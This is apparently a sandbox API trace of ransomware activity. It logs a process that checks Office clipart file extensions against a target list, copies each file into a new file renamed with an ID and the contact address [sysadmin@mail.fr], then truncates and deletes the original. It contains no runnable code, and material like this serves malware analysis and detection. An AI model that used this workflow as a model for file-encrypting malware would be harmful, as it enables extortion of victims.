	[0142.630] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0142.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68
	[0142.630] lstrlenW (lpString=".dbf") returned 4
	[0142.630] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0142.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68
	[0142.630] lstrlenW (lpString=".1cd") returned 4
	[0142.630] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0142.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68
	[0142.631] lstrlenW (lpString=".jpg") returned 4
	[0142.631] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0142.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68
	[0142.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68
	[0142.631] lstrlenW (lpString=".doc") returned 4
	[0142.631] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0142.631] lstrlenW (lpString=".docx") returned 5
	[0142.631] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0142.631] lstrlenW (lpString=".pdf") returned 4
	[0142.631] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0142.631] lstrlenW (lpString=".xls") returned 4
	[0142.631] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0142.631] lstrlenW (lpString=".xlsx") returned 5
	[0142.631] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0142.631] lstrlenW (lpString=".ppt") returned 4
	[0142.631] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0142.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68
	[0142.631] lstrlenW (lpString=".zip") returned 4
	[0142.631] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0142.631] lstrlenW (lpString=".rar") returned 4
	[0142.631] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0142.631] lstrlenW (lpString=".bz2") returned 4
	[0142.631] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0142.631] lstrlenW (lpString=".7z") returned 3
	[0142.631] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0142.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68
	[0142.631] lstrlenW (lpString=".dbf") returned 4
	[0142.631] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0142.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68
	[0142.632] lstrlenW (lpString=".1cd") returned 4
	[0142.632] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0142.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68
	[0142.632] lstrlenW (lpString=".jpg") returned 4
	[0142.632] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0142.632] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0142.632] lstrlenW (lpString="DD01630_.WMF") returned 12
	[0142.632] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4
	[0142.643] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=296) returned 1
	[0142.644] CloseHandle (hObject=0x4b4) returned 1
	[0142.644] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf")) returned 0x220
	[0142.644] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0142.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4
	[0142.645] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0142.645] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0142.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0142.645] GetLastError () returned 0x0
	[0142.645] ReadFile (in: hFile=0x4b4, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x128, lpOverlapped=0x0) returned 1
	[0142.647] WriteFile (in: hFile=0x4a8, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x130, lpOverlapped=0x0) returned 1
	[0142.648] ReadFile (in: hFile=0x4b4, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0142.648] WriteFile (in: hFile=0x4a8, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0142.648] SetEndOfFile (hFile=0x4a8) returned 1
	[0142.648] CloseHandle (hObject=0x4a8) returned 1
	[0142.648] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0142.648] SetEndOfFile (hFile=0x4b4) returned 1
	[0142.651] CloseHandle (hObject=0x4b4) returned 1
	[0142.651] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0142.652] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf")) returned 1
	[0142.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68
	[0142.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68
	[0142.653] lstrlenW (lpString=".doc") returned 4
	[0142.653] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0142.653] lstrlenW (lpString=".docx") returned 5
	[0142.653] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0142.653] lstrlenW (lpString=".pdf") returned 4
	[0142.653] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0142.653] lstrlenW (lpString=".xls") returned 4
	[0142.653] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0142.653] lstrlenW (lpString=".xlsx") returned 5
	[0142.653] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0142.653] lstrlenW (lpString=".ppt") returned 4
	[0142.653] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0142.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68
	[0142.653] lstrlenW (lpString=".zip") returned 4
	[0142.653] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0142.653] lstrlenW (lpString=".rar") returned 4
	[0142.653] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0142.653] lstrlenW (lpString=".bz2") returned 4
	[0142.653] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0142.653] lstrlenW (lpString=".7z") returned 3
	[0142.653] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0142.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68
	[0142.653] lstrlenW (lpString=".dbf") returned 4
	[0142.653] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0142.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68
	[0142.653] lstrlenW (lpString=".1cd") returned 4
	[0142.653] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0142.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68
	[0142.654] lstrlenW (lpString=".jpg") returned 4
	[0142.654] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0142.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68
	[0142.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68
	[0142.654] lstrlenW (lpString=".doc") returned 4
	[0142.654] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0142.654] lstrlenW (lpString=".docx") returned 5
	[0142.654] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0142.654] lstrlenW (lpString=".pdf") returned 4
	[0142.654] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0142.654] lstrlenW (lpString=".xls") returned 4
	[0142.654] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0142.654] lstrlenW (lpString=".xlsx") returned 5
	[0142.654] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0142.654] lstrlenW (lpString=".ppt") returned 4
	[0142.654] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0142.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68
	[0142.654] lstrlenW (lpString=".zip") returned 4
	[0142.654] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0142.654] lstrlenW (lpString=".rar") returned 4
	[0142.654] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0142.654] lstrlenW (lpString=".bz2") returned 4
	[0142.654] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0142.654] lstrlenW (lpString=".7z") returned 3
	[0142.655] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0142.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68
	[0142.655] lstrlenW (lpString=".dbf") returned 4
	[0142.655] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0142.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68
	[0142.655] lstrlenW (lpString=".1cd") returned 4
	[0142.655] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0142.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68
	[0142.655] lstrlenW (lpString=".jpg") returned 4
	[0142.655] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0142.655] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0142.655] lstrlenW (lpString="DD01761_.WMF") returned 12
	[0142.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4
	[0142.656] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=4148) returned 1
	[0142.656] CloseHandle (hObject=0x4b4) returned 1
	[0142.656] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf")) returned 0x220
	[0142.656] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0142.657] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4
	[0142.657] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0142.657] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0142.657] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0142.658] GetLastError () returned 0x0
	[0142.658] ReadFile (in: hFile=0x4b4, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x1034, lpOverlapped=0x0) returned 1
	[0142.668] WriteFile (in: hFile=0x4a8, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x1040, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x1040, lpOverlapped=0x0) returned 1
	[0142.669] ReadFile (in: hFile=0x4b4, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0142.669] WriteFile (in: hFile=0x4a8, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0142.669] SetEndOfFile (hFile=0x4a8) returned 1
	[0142.669] CloseHandle (hObject=0x4a8) returned 1
	[0142.669] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0142.669] SetEndOfFile (hFile=0x4b4) returned 1
	[0143.888] CloseHandle (hObject=0x4b4) returned 1
	[0143.888] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0144.041] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf")) returned 1
	[0144.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68
	[0144.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68
	[0144.131] lstrlenW (lpString=".doc") returned 4
	[0144.131] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0144.131] lstrlenW (lpString=".docx") returned 5
	[0144.131] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0144.131] lstrlenW (lpString=".pdf") returned 4
	[0144.131] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0144.132] lstrlenW (lpString=".xls") returned 4
	[0144.132] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0144.132] lstrlenW (lpString=".xlsx") returned 5
	[0144.132] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0144.132] lstrlenW (lpString=".ppt") returned 4
	[0144.132] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0144.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68
	[0144.132] lstrlenW (lpString=".zip") returned 4
	[0144.132] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0144.132] lstrlenW (lpString=".rar") returned 4
	[0144.132] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0144.132] lstrlenW (lpString=".bz2") returned 4
	[0144.132] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0144.132] lstrlenW (lpString=".7z") returned 3
	[0144.132] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0144.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68
	[0144.132] lstrlenW (lpString=".dbf") returned 4
	[0144.132] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0144.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68
	[0144.133] lstrlenW (lpString=".1cd") returned 4
	[0144.133] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0144.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68
	[0144.133] lstrlenW (lpString=".jpg") returned 4
	[0144.133] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0144.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68
	[0144.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68
	[0144.133] lstrlenW (lpString=".doc") returned 4
	[0144.133] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0144.133] lstrlenW (lpString=".docx") returned 5
	[0144.133] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0144.133] lstrlenW (lpString=".pdf") returned 4
	[0144.133] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0144.133] lstrlenW (lpString=".xls") returned 4
	[0144.133] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0144.133] lstrlenW (lpString=".xlsx") returned 5
	[0144.133] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0144.133] lstrlenW (lpString=".ppt") returned 4
	[0144.134] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0144.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68
	[0144.134] lstrlenW (lpString=".zip") returned 4
	[0144.134] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0144.134] lstrlenW (lpString=".rar") returned 4
	[0144.134] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0144.134] lstrlenW (lpString=".bz2") returned 4
	[0144.134] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0144.134] lstrlenW (lpString=".7z") returned 3
	[0144.134] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0144.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68
	[0144.134] lstrlenW (lpString=".dbf") returned 4
	[0144.134] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0144.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68
	[0144.134] lstrlenW (lpString=".1cd") returned 4
	[0144.134] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0144.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68
	[0144.134] lstrlenW (lpString=".jpg") returned 4
	[0144.134] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0144.135] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0144.135] lstrlenW (lpString="DD01772_.WMF") returned 12
	[0144.135] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518
	[0144.655] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=2300) returned 1
	[0144.656] CloseHandle (hObject=0x518) returned 1
	[0144.656] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf")) returned 0x220
	[0144.656] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0144.656] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518
	[0144.656] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0144.656] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0144.657] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0144.658] GetLastError () returned 0x0
	[0144.658] ReadFile (in: hFile=0x518, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x8fc, lpOverlapped=0x0) returned 1
	[0144.664] WriteFile (in: hFile=0x52c, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x900, lpOverlapped=0x0) returned 1
	[0144.665] ReadFile (in: hFile=0x518, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0144.665] WriteFile (in: hFile=0x52c, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0144.665] SetEndOfFile (hFile=0x52c) returned 1
	[0144.666] CloseHandle (hObject=0x52c) returned 1
	[0144.669] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0144.669] SetEndOfFile (hFile=0x518) returned 1
	[0144.674] CloseHandle (hObject=0x518) returned 1
	[0144.678] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0144.678] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf")) returned 1
	[0144.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68
	[0144.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68
	[0144.679] lstrlenW (lpString=".doc") returned 4
	[0144.679] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0144.679] lstrlenW (lpString=".docx") returned 5
	[0144.679] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0144.679] lstrlenW (lpString=".pdf") returned 4
	[0144.679] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0144.679] lstrlenW (lpString=".xls") returned 4
	[0144.679] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0144.679] lstrlenW (lpString=".xlsx") returned 5
	[0144.679] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0144.679] lstrlenW (lpString=".ppt") returned 4
	[0144.679] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0144.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68
	[0144.679] lstrlenW (lpString=".zip") returned 4
	[0144.679] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0144.679] lstrlenW (lpString=".rar") returned 4
	[0144.679] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0144.680] lstrlenW (lpString=".bz2") returned 4
	[0144.680] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
